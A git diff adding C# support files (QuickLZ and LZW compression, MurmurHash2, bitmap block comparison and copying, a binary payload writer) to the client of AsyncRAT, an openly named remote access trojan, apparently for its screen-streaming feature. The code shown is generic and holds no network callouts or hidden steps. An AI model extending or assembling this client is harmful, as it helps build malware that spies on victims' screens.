diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs
new file mode 100644
index 0000000..d9cfeef
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/LzwCompression.cs
@@ -0,0 +1,55 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public class LzwCompression
+ {
+ private EncoderParameter parameter;
+ private ImageCodecInfo encoderInfo;
+ private EncoderParameters encoderParams;
+
+ public LzwCompression(int Quality)
+ {
+ this.parameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, (long)Quality);
+ this.encoderInfo = GetEncoderInfo("image/jpeg");
+ this.encoderParams = new EncoderParameters(2);
+ this.encoderParams.Param[0] = parameter;
+ this.encoderParams.Param[1] = new EncoderParameter(System.Drawing.Imaging.Encoder.Compression, (long)EncoderValue.CompressionLZW);
+ }
+
+ public byte[] Compress(Bitmap bmp, byte[] AdditionInfo = null)
+ {
+ using (MemoryStream stream = new MemoryStream())
+ {
+ if (AdditionInfo != null)
+ stream.Write(AdditionInfo, 0, AdditionInfo.Length);
+ bmp.Save(stream, encoderInfo, encoderParams);
+ return stream.ToArray();
+ }
+ }
+ public void Compress(Bitmap bmp, Stream stream, byte[] AdditionInfo = null)
+ {
+ if (AdditionInfo != null)
+ stream.Write(AdditionInfo, 0, AdditionInfo.Length);
+ bmp.Save(stream, encoderInfo, encoderParams);
+ }
+
+ private ImageCodecInfo GetEncoderInfo(string mimeType)
+ {
+ ImageCodecInfo[] imageEncoders = ImageCodecInfo.GetImageEncoders();
+ for (int i = 0; i < imageEncoders.Length; i++)
+ {
+ if (imageEncoders[i].MimeType == mimeType)
+ {
+ return imageEncoders[i];
+ }
+ }
+ return null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs b/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs
new file mode 100644
index 0000000..ba82bff
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/MurmurHash2Unsafe.cs
@@ -0,0 +1,62 @@
+using System;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public unsafe class MurmurHash2Unsafe
+ {
+ const UInt32 m = 0x5bd1e995;
+ const Int32 r = 24;
+
+ public unsafe UInt32 Hash(Byte* data, int length)
+ {
+ if (length == 0)
+ return 0;
+ UInt32 h = 0xc58f1a7b ^ (UInt32)length;
+ Int32 remainingBytes = length & 3; // mod 4
+ Int32 numberOfLoops = length >> 2; // div 4
+ UInt32* realData = (UInt32*)data;
+ while (numberOfLoops != 0)
+ {
+ UInt32 k = *realData;
+ k *= m;
+ k ^= k >> r;
+ k *= m;
+
+ h *= m;
+ h ^= k;
+ numberOfLoops--;
+ realData++;
+ }
+ switch (remainingBytes)
+ {
+ case 3:
+ h ^= (UInt16)(*realData);
+ h ^= ((UInt32)(*(((Byte*)(realData)) + 2))) << 16;
+ h *= m;
+ break;
+ case 2:
+ h ^= (UInt16)(*realData);
+ h *= m;
+ break;
+ case 1:
+ h ^= *((Byte*)realData);
+ h *= m;
+ break;
+ default:
+ break;
+ }
+
+ // Do a few final mixes of the hash to ensure the last few
+ // bytes are well-incorporated.
+
+ h ^= h >> 13;
+ h *= m;
+ h ^= h >> 15;
+
+ return h;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs
new file mode 100644
index 0000000..38df525
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/NativeMethods.cs
@@ -0,0 +1,22 @@
+using System;
+using System.Collections.Generic;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public class NativeMethods
+ {
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern unsafe int memcmp(byte* ptr1, byte* ptr2, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern int memcmp(IntPtr ptr1, IntPtr ptr2, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern int memcpy(IntPtr dst, IntPtr src, uint count);
+
+ [DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
+ public static extern unsafe int memcpy(void* dst, void* src, uint count);
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs b/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs
new file mode 100644
index 0000000..a76fb23
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/PayloadWriter.cs
@@ -0,0 +1,113 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public class PayloadWriter : IDisposable
+ {
+ public Stream vStream { get; set; }
+ public PayloadWriter()
+ {
+ vStream = new MemoryStream();
+ }
+ public PayloadWriter(Stream stream)
+ {
+ vStream = stream;
+ }
+
+ public void WriteBytes(byte[] value)
+ {
+ vStream.Write(value, 0, value.Length);
+ }
+
+ public void WriteBytes(byte[] value, int Offset, int Length)
+ {
+ vStream.Write(value, Offset, Length);
+ }
+
+ public void WriteInteger(int value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+
+ ///
+ /// A integer with 3 bytes not 4
+ ///
+ public void WriteThreeByteInteger(int value)
+ {
+ WriteByte((byte)value);
+ WriteByte((byte)(value >> 8));
+ WriteByte((byte)(value >> 16));
+ }
+
+ public void WriteUInteger(uint value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+
+ public void WriteShort(short value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteUShort(ushort value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteULong(ulong value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+
+ public void WriteByte(byte value)
+ {
+ vStream.WriteByte(value);
+ }
+
+ public void WriteBool(bool value)
+ {
+ WriteByte(value ? (byte)1 : (byte)0);
+ }
+
+ public void WriteDouble(double value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteLong(long value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteFloat(float value)
+ {
+ WriteBytes(BitConverter.GetBytes(value));
+ }
+ public void WriteDecimal(decimal value)
+ {
+ BinaryWriter writer = new BinaryWriter(vStream);
+ writer.Write(value);
+ }
+
+ public void WriteString(string value)
+ {
+ if (!(value == null))
+ WriteBytes(System.Text.Encoding.Unicode.GetBytes(value));
+ else
+ throw new NullReferenceException("value");
+ vStream.WriteByte(0);
+ vStream.WriteByte(0);
+ }
+
+ public int Length
+ {
+ get { return (int)vStream.Length; }
+ }
+
+ public void Dispose()
+ {
+ vStream.Close();
+ vStream.Dispose();
+ vStream = null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs b/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs
new file mode 100644
index 0000000..71ba44f
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/PointerHelper.cs
@@ -0,0 +1,58 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ ///
+ /// A helper class for pointers
+ ///
+ public class PointerHelper
+ {
+ private int _offset;
+
+ public IntPtr Pointer
+ {
+ get;
+ private set;
+ }
+
+ public int TotalLength { get; private set; }
+
+ public int Offset
+ {
+ get { return _offset; }
+ set
+ {
+ if (value < 0)
+ throw new Exception("Offset must be >= 1");
+
+ if (value >= TotalLength)
+ throw new Exception("Offset cannot go outside of the reserved buffer space");
+
+ _offset = value;
+ }
+ }
+
+ public PointerHelper(IntPtr pointer, int Length)
+ {
+ this.TotalLength = Length;
+ this.Pointer = pointer;
+ }
+
+ ///
+ /// Copies data from Source to the current Pointer Offset
+ ///
+ public void Copy(IntPtr Source, int SourceOffset, int SourceLength)
+ {
+ if (CheckBoundries(this.Offset, SourceLength))
+ throw new AccessViolationException("Cannot write outside of the buffer space");
+ NativeMethods.memcpy(new IntPtr(this.Pointer.ToInt64() + Offset), new IntPtr(Source.ToInt64() + SourceOffset), (uint)SourceLength);
+ }
+
+ private bool CheckBoundries(int offset, int length)
+ {
+ return offset + length > TotalLength;
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs b/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs
new file mode 100644
index 0000000..bde4b98
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/SafeQuickLZ.cs
@@ -0,0 +1,487 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ // QuickLZ data compression library
+ // Copyright (C) 2006-2011 Lasse Mikkel Reinhold
+ // lar@quicklz.com
+ //
+ // QuickLZ can be used for free under the GPL 1, 2 or 3 license (where anything
+ // released into public must be open source) or under a commercial license if such
+ // has been acquired (see http://www.quicklz.com/order.html). The commercial license
+ // does not cover derived or ported versions created by third parties under GPL.
+ //
+ // Only a subset of the C library has been ported, namely level 1 and 3 not in
+ // streaming mode.
+ //
+ // Version: 1.5.0 final
+
+ public class SafeQuickLZ
+ {
+ public const int QLZ_VERSION_MAJOR = 1;
+ public const int QLZ_VERSION_MINOR = 5;
+ public const int QLZ_VERSION_REVISION = 0;
+
+ // Streaming mode not supported
+ public const int QLZ_STREAMING_BUFFER = 0;
+
+ // Bounds checking not supported Use try...catch instead
+ public const int QLZ_MEMORY_SAFE = 0;
+
+ // Decrease QLZ_POINTERS_3 to increase level 3 compression speed. Do not edit any other values!
+ private const int HASH_VALUES = 4096;
+ private const int MINOFFSET = 2;
+ private const int UNCONDITIONAL_MATCHLEN = 6;
+ private const int UNCOMPRESSED_END = 4;
+ private const int CWORD_LEN = 4;
+ private const int DEFAULT_HEADERLEN = 9;
+ private const int QLZ_POINTERS_1 = 1;
+ private const int QLZ_POINTERS_3 = 16;
+
+ private int headerLen(byte[] source, int offset)
+ {
+ return ((source[offset] & 2) == 2) ? 9 : 3;
+ }
+
+ public int sizeDecompressed(byte[] source, int offset)
+ {
+ if (headerLen(source, offset) == 9)
+ return source[offset + 5] | (source[offset + 6] << 8) | (source[offset + 7] << 16) | (source[offset + 8] << 24);
+ else
+ return source[offset + 2];
+ }
+
+ public int sizeCompressed(byte[] source, int offset)
+ {
+ if (headerLen(source, offset) == 9)
+ return source[offset + 1] | (source[offset + 2] << 8) | (source[offset + 3] << 16) | (source[offset + 4] << 24);
+ else
+ return source[offset + 1];
+ }
+
+ private void write_header(byte[] dst, int level, bool compressible, int size_compressed, int size_decompressed)
+ {
+ dst[0] = (byte)(2 | (compressible ? 1 : 0));
+ dst[0] |= (byte)(level << 2);
+ dst[0] |= (1 << 6);
+ dst[0] |= (0 << 4);
+ fast_write(dst, 1, size_decompressed, 4);
+ fast_write(dst, 5, size_compressed, 4);
+ }
+
+ public byte[] compress(byte[] source, int Offset, int Length, int level)
+ {
+ int src = Offset;
+ int dst = DEFAULT_HEADERLEN + CWORD_LEN;
+ uint cword_val = 0x80000000;
+ int cword_ptr = DEFAULT_HEADERLEN;
+ byte[] destination = new byte[Length + 400];
+ int[,] hashtable;
+ int[] cachetable = new int[HASH_VALUES];
+ byte[] hash_counter = new byte[HASH_VALUES];
+ byte[] d2;
+ int fetch = 0;
+ int last_matchstart = (Length - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1);
+ int lits = 0;
+
+ if (level != 1 && level != 3)
+ throw new ArgumentException("C# version only supports level 1 and 3");
+
+ if (level == 1)
+ hashtable = new int[HASH_VALUES, QLZ_POINTERS_1];
+ else
+ hashtable = new int[HASH_VALUES, QLZ_POINTERS_3];
+
+ if (Length == 0)
+ return new byte[0];
+
+ if (src <= last_matchstart)
+ fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
+
+ while (src <= last_matchstart)
+ {
+ if ((cword_val & 1) == 1)
+ {
+ if (src > Length >> 1 && dst > src - (src >> 5))
+ {
+ d2 = new byte[Length + DEFAULT_HEADERLEN];
+ write_header(d2, level, false, Length, Length + DEFAULT_HEADERLEN);
+ System.Array.Copy(source, 0, d2, DEFAULT_HEADERLEN, Length);
+ return d2;
+ }
+
+ fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
+ cword_ptr = dst;
+ dst += CWORD_LEN;
+ cword_val = 0x80000000;
+ }
+
+ if (level == 1)
+ {
+ int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
+ int o = hashtable[hash, 0];
+ int cache = cachetable[hash] ^ fetch;
+ cachetable[hash] = fetch;
+ hashtable[hash, 0] = src;
+
+ if (cache == 0 && hash_counter[hash] != 0 && (src - o > MINOFFSET || (src == o + 1 && lits >= 3 && src > 3 && source[src] == source[src - 3] &&
+ source[src] == source[src - 2] && source[src] == source[src - 1] &&
+ source[src] == source[src + 1] && source[src] == source[src + 2])))
+ {
+ cword_val = ((cword_val >> 1) | 0x80000000);
+ if (source[o + 3] != source[src + 3])
+ {
+ int f = 3 - 2 | (hash << 4);
+ destination[dst + 0] = (byte)(f >> 0 * 8);
+ destination[dst + 1] = (byte)(f >> 1 * 8);
+ src += 3;
+ dst += 2;
+ }
+ else
+ {
+ int old_src = src;
+ int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
+
+ src += 4;
+ if (source[o + src - old_src] == source[src])
+ {
+ src++;
+ if (source[o + src - old_src] == source[src])
+ {
+ src++;
+ while (source[o + (src - old_src)] == source[src] && (src - old_src) < remaining)
+ src++;
+ }
+ }
+
+ int matchlen = src - old_src;
+
+ hash <<= 4;
+ if (matchlen < 18)
+ {
+ int f = (hash | (matchlen - 2));
+ destination[dst + 0] = (byte)(f >> 0 * 8);
+ destination[dst + 1] = (byte)(f >> 1 * 8);
+ dst += 2;
+ }
+ else
+ {
+ fast_write(destination, dst, hash | (matchlen << 16), 3);
+ dst += 3;
+ }
+ }
+ fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
+ lits = 0;
+ }
+ else
+ {
+ lits++;
+ hash_counter[hash] = 1;
+ destination[dst] = source[src];
+ cword_val = (cword_val >> 1);
+ src++;
+ dst++;
+ fetch = ((fetch >> 8) & 0xffff) | (source[src + 2] << 16);
+ }
+
+ }
+ else
+ {
+ fetch = source[src] | (source[src + 1] << 8) | (source[src + 2] << 16);
+
+ int o, offset2;
+ int matchlen, k, m, best_k = 0;
+ byte c;
+ int remaining = ((Length - UNCOMPRESSED_END - src + 1 - 1) > 255 ? 255 : (Length - UNCOMPRESSED_END - src + 1 - 1));
+ int hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
+
+ c = hash_counter[hash];
+ matchlen = 0;
+ offset2 = 0;
+ for (k = 0; k < QLZ_POINTERS_3 && c > k; k++)
+ {
+ o = hashtable[hash, k];
+ if ((byte)fetch == source[o] && (byte)(fetch >> 8) == source[o + 1] && (byte)(fetch >> 16) == source[o + 2] && o < src - MINOFFSET)
+ {
+ m = 3;
+ while (source[o + m] == source[src + m] && m < remaining)
+ m++;
+ if ((m > matchlen) || (m == matchlen && o > offset2))
+ {
+ offset2 = o;
+ matchlen = m;
+ best_k = k;
+ }
+ }
+ }
+ o = offset2;
+ hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src;
+ c++;
+ hash_counter[hash] = c;
+
+ if (matchlen >= 3 && src - o < 131071)
+ {
+ int offset = src - o;
+
+ for (int u = 1; u < matchlen; u++)
+ {
+ fetch = source[src + u] | (source[src + u + 1] << 8) | (source[src + u + 2] << 16);
+ hash = ((fetch >> 12) ^ fetch) & (HASH_VALUES - 1);
+ c = hash_counter[hash]++;
+ hashtable[hash, c & (QLZ_POINTERS_3 - 1)] = src + u;
+ }
+
+ src += matchlen;
+ cword_val = ((cword_val >> 1) | 0x80000000);
+
+ if (matchlen == 3 && offset <= 63)
+ {
+ fast_write(destination, dst, offset << 2, 1);
+ dst++;
+ }
+ else if (matchlen == 3 && offset <= 16383)
+ {
+ fast_write(destination, dst, (offset << 2) | 1, 2);
+ dst += 2;
+ }
+ else if (matchlen <= 18 && offset <= 1023)
+ {
+ fast_write(destination, dst, ((matchlen - 3) << 2) | (offset << 6) | 2, 2);
+ dst += 2;
+ }
+ else if (matchlen <= 33)
+ {
+ fast_write(destination, dst, ((matchlen - 2) << 2) | (offset << 7) | 3, 3);
+ dst += 3;
+ }
+ else
+ {
+ fast_write(destination, dst, ((matchlen - 3) << 7) | (offset << 15) | 3, 4);
+ dst += 4;
+ }
+ lits = 0;
+ }
+ else
+ {
+ destination[dst] = source[src];
+ cword_val = (cword_val >> 1);
+ src++;
+ dst++;
+ }
+ }
+ }
+ while (src <= Length - 1)
+ {
+ if ((cword_val & 1) == 1)
+ {
+ fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), 4);
+ cword_ptr = dst;
+ dst += CWORD_LEN;
+ cword_val = 0x80000000;
+ }
+
+ destination[dst] = source[src];
+ src++;
+ dst++;
+ cword_val = (cword_val >> 1);
+ }
+ while ((cword_val & 1) != 1)
+ {
+ cword_val = (cword_val >> 1);
+ }
+
+ fast_write(destination, cword_ptr, (int)((cword_val >> 1) | 0x80000000), CWORD_LEN);
+ write_header(destination, level, true, Length, dst);
+ d2 = new byte[dst];
+ System.Array.Copy(destination, d2, dst);
+ return d2;
+ }
+
+
+ private void fast_write(byte[] a, int i, int value, int numbytes)
+ {
+ for (int j = 0; j < numbytes; j++)
+ a[i + j] = (byte)(value >> (j * 8));
+ }
+
+ public byte[] decompress(byte[] source, int Offset, int Length)
+ {
+ int level;
+ int size = sizeDecompressed(source, Offset);
+ int src = headerLen(source, Offset) + Offset;
+ int dst = 0;
+ uint cword_val = 1;
+ byte[] destination = new byte[size];
+ int[] hashtable = new int[4096];
+ byte[] hash_counter = new byte[4096];
+ int last_matchstart = size - UNCONDITIONAL_MATCHLEN - UNCOMPRESSED_END - 1;
+ int last_hashed = -1;
+ int hash;
+ uint fetch = 0;
+
+ level = (source[Offset] >> 2) & 0x3;
+
+ if (level != 1 && level != 3)
+ throw new ArgumentException("C# version only supports level 1 and 3");
+
+ if ((source[Offset] & 1) != 1)
+ {
+ byte[] d2 = new byte[size];
+ System.Array.Copy(source, headerLen(source, Offset), d2, Offset, size);
+ return d2;
+ }
+
+ for (; ; )
+ {
+ if (cword_val == 1)
+ {
+ cword_val = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
+ src += 4;
+ if (dst <= last_matchstart)
+ {
+ if (level == 1)
+ fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
+ else
+ fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
+ }
+ }
+
+ if ((cword_val & 1) == 1)
+ {
+ uint matchlen;
+ uint offset2;
+
+ cword_val = cword_val >> 1;
+
+ if (level == 1)
+ {
+ hash = ((int)fetch >> 4) & 0xfff;
+ offset2 = (uint)hashtable[hash];
+
+ if ((fetch & 0xf) != 0)
+ {
+ matchlen = (fetch & 0xf) + 2;
+ src += 2;
+ }
+ else
+ {
+ matchlen = source[src + 2];
+ src += 3;
+ }
+ }
+ else
+ {
+ uint offset;
+ if ((fetch & 3) == 0)
+ {
+ offset = (fetch & 0xff) >> 2;
+ matchlen = 3;
+ src++;
+ }
+ else if ((fetch & 2) == 0)
+ {
+ offset = (fetch & 0xffff) >> 2;
+ matchlen = 3;
+ src += 2;
+ }
+ else if ((fetch & 1) == 0)
+ {
+ offset = (fetch & 0xffff) >> 6;
+ matchlen = ((fetch >> 2) & 15) + 3;
+ src += 2;
+ }
+ else if ((fetch & 127) != 3)
+ {
+ offset = (fetch >> 7) & 0x1ffff;
+ matchlen = ((fetch >> 2) & 0x1f) + 2;
+ src += 3;
+ }
+ else
+ {
+ offset = (fetch >> 15);
+ matchlen = ((fetch >> 7) & 255) + 3;
+ src += 4;
+ }
+ offset2 = (uint)(dst - offset);
+ }
+
+ destination[dst + 0] = destination[offset2 + 0];
+ destination[dst + 1] = destination[offset2 + 1];
+ destination[dst + 2] = destination[offset2 + 2];
+
+ for (int i = 3; i < matchlen; i += 1)
+ {
+ destination[dst + i] = destination[offset2 + i];
+ }
+
+ dst += (int)matchlen;
+
+ if (level == 1)
+ {
+ fetch = (uint)(destination[last_hashed + 1] | (destination[last_hashed + 2] << 8) | (destination[last_hashed + 3] << 16));
+ while (last_hashed < dst - matchlen)
+ {
+ last_hashed++;
+ hash = (int)(((fetch >> 12) ^ fetch) & (HASH_VALUES - 1));
+ hashtable[hash] = last_hashed;
+ hash_counter[hash] = 1;
+ fetch = (uint)(fetch >> 8 & 0xffff | destination[last_hashed + 3] << 16);
+ }
+ fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16));
+ }
+ else
+ {
+ fetch = (uint)(source[src] | (source[src + 1] << 8) | (source[src + 2] << 16) | (source[src + 3] << 24));
+ }
+ last_hashed = dst - 1;
+ }
+ else
+ {
+ if (dst <= last_matchstart)
+ {
+ destination[dst] = source[src];
+ dst += 1;
+ src += 1;
+ cword_val = cword_val >> 1;
+
+ if (level == 1)
+ {
+ while (last_hashed < dst - 3)
+ {
+ last_hashed++;
+ int fetch2 = destination[last_hashed] | (destination[last_hashed + 1] << 8) | (destination[last_hashed + 2] << 16);
+ hash = ((fetch2 >> 12) ^ fetch2) & (HASH_VALUES - 1);
+ hashtable[hash] = last_hashed;
+ hash_counter[hash] = 1;
+ }
+ fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16);
+ }
+ else
+ {
+ fetch = (uint)(fetch >> 8 & 0xffff | source[src + 2] << 16 | source[src + 3] << 24);
+ }
+ }
+ else
+ {
+ while (dst <= size - 1)
+ {
+ if (cword_val == 1)
+ {
+ src += CWORD_LEN;
+ cword_val = 0x80000000;
+ }
+
+ destination[dst] = source[src];
+ dst++;
+ src++;
+ cword_val = cword_val >> 1;
+ }
+ return destination;
+ }
+ }
+ }
+ }
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs b/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs
new file mode 100644
index 0000000..ab62e1f
--- /dev/null
+++ b/AsyncRAT-C#/Client/StreamLibrary/src/SimpleBitmap.cs
@@ -0,0 +1,177 @@
+using System;
+using System.Collections.Generic;
+using System.Drawing;
+using System.Drawing.Imaging;
+using System.Runtime.InteropServices;
+using System.Text;
+
+namespace StreamLibrary.src
+{
+ public unsafe class SimpleBitmap
+ {
+ private object ProcessingLock = new object();
+
+ public SimpleBitmapInfo Info { get; internal set; }
+ public bool Locked { get { return Scan0 == IntPtr.Zero ? false : true; } }
+ public IntPtr Scan0 { get; internal set; }
+ public int Scan0_int { get; internal set; }
+ public BitmapData bitmapData { get; internal set; }
+ public Bitmap bitMap { get; set; }
+
+ public class SimpleBitmapInfo
+ {
+ public SimpleBitmapInfo()
+ {
+ Clear();
+ }
+ public SimpleBitmapInfo(BitmapData data)
+ {
+ Load(data);
+ }
+ public int Stride { get; protected set; }
+ public int PixelSize { get; protected set; }
+ public int Width { get; protected set; }
+ public int Height { get; protected set; }
+
+ public int TotalSize { get; protected set; }
+
+ internal void Clear()
+ {
+ Stride = 0; PixelSize = 0; Width = 0; Height = 0; TotalSize = 0;
+ }
+ internal void Load(BitmapData data)
+ {
+ Width = data.Width; Height = data.Height; Stride = data.Stride;
+
+ PixelSize = Math.Abs(data.Stride) / data.Width;
+ TotalSize = data.Width * data.Height * PixelSize;
+ }
+ }
+
+ public static bool Compare(Rectangle block, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
+ {
+ int calc = 0;
+ int WidthSize = block.Width * sharedInfo.PixelSize;
+
+ calc = (block.Y) * sharedInfo.Stride + block.X * sharedInfo.PixelSize;
+
+ for (int i = 0; i < block.Height; i++)
+ {
+ if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)WidthSize) != 0)
+ return false;
+ calc += sharedInfo.Stride;
+ }
+ return true;
+ }
+ public static bool Compare(int y, int rowsize, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
+ {
+ int calc = 0;
+ int Size = sharedInfo.Width * sharedInfo.PixelSize * rowsize;
+
+ calc = y * sharedInfo.Stride;
+
+ if (NativeMethods.memcmp((byte*)(ptr1 + calc), (byte*)(ptr2 + calc), (uint)Size) != 0)
+ return false;
+ return true;
+ }
+ public static bool FastCompare(int offset, int size, int ptr1, int ptr2, SimpleBitmapInfo sharedInfo)
+ {
+ if (NativeMethods.memcmp((byte*)(ptr1 + offset), (byte*)(ptr2 + offset), (uint)size) != 0)
+ return false;
+ return true;
+ }
+
+ public unsafe void CopyBlock(Rectangle block, ref byte[] dest)
+ {
+ int calc = 0;
+ int WidthSize = block.Width * Info.PixelSize;
+ int CopyOffset = 0;
+ int scan0 = Scan0.ToInt32();
+ int destSize = WidthSize * block.Height;
+
+ if (dest == null || dest.Length != destSize)
+ dest = new byte[destSize];
+
+ calc = (block.Y) * Info.Stride + block.X * Info.PixelSize;
+
+ fixed (byte* ptr = dest)
+ {
+ for (int i = 0; i < block.Height; i++)
+ {
+ NativeMethods.memcpy(new IntPtr(ptr + CopyOffset), new IntPtr(scan0 + calc), (uint)WidthSize);
+ calc += Info.Stride;
+ CopyOffset += WidthSize;
+ }
+ }
+ }
+
+ public SimpleBitmap()
+ {
+ Scan0 = IntPtr.Zero;
+ bitmapData = null;
+ bitMap = null;
+
+ Info = new SimpleBitmapInfo();
+ }
+ public SimpleBitmap(Bitmap bmp)
+ {
+ this.bitMap = bmp;
+ }
+
+ public void Lock()
+ {
+ if (Locked)
+ throw new Exception("Already locked");
+
+ lock (ProcessingLock)
+ {
+ bitmapData = bitMap.LockBits(new Rectangle(0, 0, bitMap.Width, bitMap.Height), ImageLockMode.ReadWrite, bitMap.PixelFormat);
+
+ Info = new SimpleBitmapInfo(bitmapData);
+
+ Scan0 = bitmapData.Scan0;
+ Scan0_int = Scan0.ToInt32();
+ }
+ }
+ public void Unlock()
+ {
+ if (!Locked)
+ throw new Exception("Nothing to unlock");
+
+ lock (ProcessingLock)
+ {
+ Scan0 = IntPtr.Zero;
+ Scan0_int = 0;
+
+ Info.Clear();
+ bitMap.UnlockBits(bitmapData);
+ bitmapData = null;
+ }
+ }
+ public unsafe void PlaceBlockAtRectange(byte[] block, Rectangle loc)
+ {
+ int CopySize = Info.PixelSize * loc.Width;
+ int OffsetX = loc.X * Info.PixelSize;
+ int TotalCopied = 0;
+
+ fixed (byte* ptr = block)
+ {
+ for (int i = 0; i < loc.Height; i++)
+ {
+ NativeMethods.memcpy(new IntPtr(Scan0_int + ((loc.Y + i) * Info.Stride + OffsetX)), new IntPtr(ptr + TotalCopied), (uint)CopySize);
+ TotalCopied += CopySize;
+ }
+ }
+ }
+ public void Dispose(bool disposeBitmap = false)
+ {
+ if (Locked)
+ Unlock();
+
+ if (disposeBitmap)
+ bitMap.Dispose();
+
+ bitMap = null;
+ }
+ }
+}
\ No newline at end of file
diff --git a/README.md b/README.md
index a6fee62..81fccc7 100644
--- a/README.md
+++ b/README.md
@@ -1,4 +1,4 @@
-
+
# AsyncRAT